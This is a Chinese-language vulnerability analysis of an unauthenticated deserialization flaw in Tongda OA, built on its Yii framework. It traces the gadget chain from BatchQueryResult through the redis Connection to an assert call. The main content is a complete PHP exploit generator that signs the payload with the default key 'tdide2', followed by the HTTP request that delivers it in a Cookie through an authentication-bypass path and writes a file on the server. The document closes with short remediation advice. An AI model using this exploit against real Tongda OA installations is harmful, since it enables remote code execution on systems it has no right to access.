通达OA反序列化分析
字数 1617 2025-08-06 08:35:03
通达OA反序列化漏洞分析与利用
一、漏洞概述
通达OA系统中存在一个反序列化漏洞,攻击者可以通过构造特定的序列化数据,在未授权的情况下实现远程代码执行。该漏洞主要涉及Yii框架的反序列化机制和通达OA的权限绕过问题。
二、环境搭建
1. 组件版本确认
- Yii框架版本:2.0.13(位于
\inc\vendor\yii2\yiisoft\yii2\BaseYii.php) - Yii-redis组件版本:2.0.6(位于
\inc\vendor\yii2\yiisoft\extensions.php)
2. 环境配置步骤
- 下载对应版本的Yii框架和Yii-redis组件
- 修改
\config\web.php中的cookieValidationKey值为tdide2(通达OA默认值) - 将Yii-redis解压到
\vendor\yiisoft\yii2\redis目录 - 配置
\vendor\yiisoft\extensions.php文件
3. 调试环境搭建
创建测试控制器\controllers\TestController.php:
<?php
namespace app\controllers;
use yii\web\Controller;
class TestController extends Controller {
private $_events = ["beforeAction"=>"0"];
public function actionIndex() {
$un = $_GET["un"];
$a = unserialize($un);
return "poc";
}
}
访问方式:http://127.0.0.1:8081/index.php?r=test%252Findex&un=...
三、反序列化链分析
1. 触发点
起始点为\vendor\yiisoft\yii2\db\BatchQueryResult.php的__destruct方法:
public function __destruct() {
$this->reset();
}
2. 调用链
BatchQueryResult::reset()调用$this->_dataReader->close()DataReader::close()调用$this->_statement->closeCursor()Connection::__call()处理closeCursor调用- 通过
executeCommand最终触发Component::trigger() trigger()方法中的call_user_func实现代码执行
3. 关键绕过点
Connection类的redisCommands属性需要包含"CLOSE CURSOR"$this->_socket必须为false$this->port需要设置为可访问的端口(如80)$this->database需要设置为null以避免进入额外判断
四、漏洞利用分析
1. 漏洞入口
\general\appbuilder\web\portal\gateway/?路径可绕过鉴权
2. 反序列化触发路径
Request::getCsrfToken()调用链- 最终到达
Request::loadCookies()中的反序列化操作
3. 数据验证机制
Security::validateData()方法验证流程:
- 计算SHA256哈希长度(32字节)
- 分离输入数据中的哈希部分和序列化数据部分
- 使用
tdide2作为密钥验证哈希 - 验证通过后返回序列化数据
4. 绕过全局过滤
通达OA的全局过滤不处理_GET等超全局变量,可通过这些变量传递payload避免转义。
五、漏洞利用EXP
1. 完整利用代码
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct() {
$this->checkAccess = "assert";
$this->id = "file_put_contents('a.php','TONGDA')";
}
}
}
namespace yii\base{
use yii\rest\CreateAction;
class Component{
private $_events = [];
public function __construct() {
$this->_events = ["afterOpen" => [[[new CreateAction(), "run"], "run"]]];
}
}
}
namespace yii\redis{
use yii\base\Component;
class Connection extends Component{
public $redisCommands;
public $database = null;
public $port = 0;
private $_socket = false;
public function __construct() {
$this->redisCommands = ["CLOSE CURSOR"];
$this->database = null;
$this->port = 80;
parent::__construct();
}
}
}
namespace yii\db{
use yii\redis\Connection;
class DataReader{
private $_statement;
public function __construct() {
$this->_statement = new Connection();
}
}
class BatchQueryResult{
private $_dataReader;
public function __construct() {
$this->_dataReader = new DataReader();
}
}
}
namespace {
use yii\db\BatchQueryResult;
$data = serialize(new BatchQueryResult());
$crypt = hash_hmac("sha256",$data,"tdide2",false);
$data = urlencode($data);
$payload = $crypt . $data;
echo $payload;
}
2. 利用数据包
GET /general/appbuilder/web/portal/gateway/? HTTP/1.1
Host: target
Cookie: _GET=[生成的payload]
3. 验证利用
成功利用后会在/general/appbuilder/web/目录下生成a.php文件,内容为"TONGDA"。
六、修复建议
- 升级Yii框架和相关组件到最新版本
- 对反序列化操作进行严格的白名单控制
- 修改默认的
cookieValidationKey值 - 对全局输入进行更严格的过滤
七、参考链接
- Yii框架官方发布:https://github.com/yiisoft/yii2/releases
- 漏洞分析参考:https://www.ctfiot.com/128812.html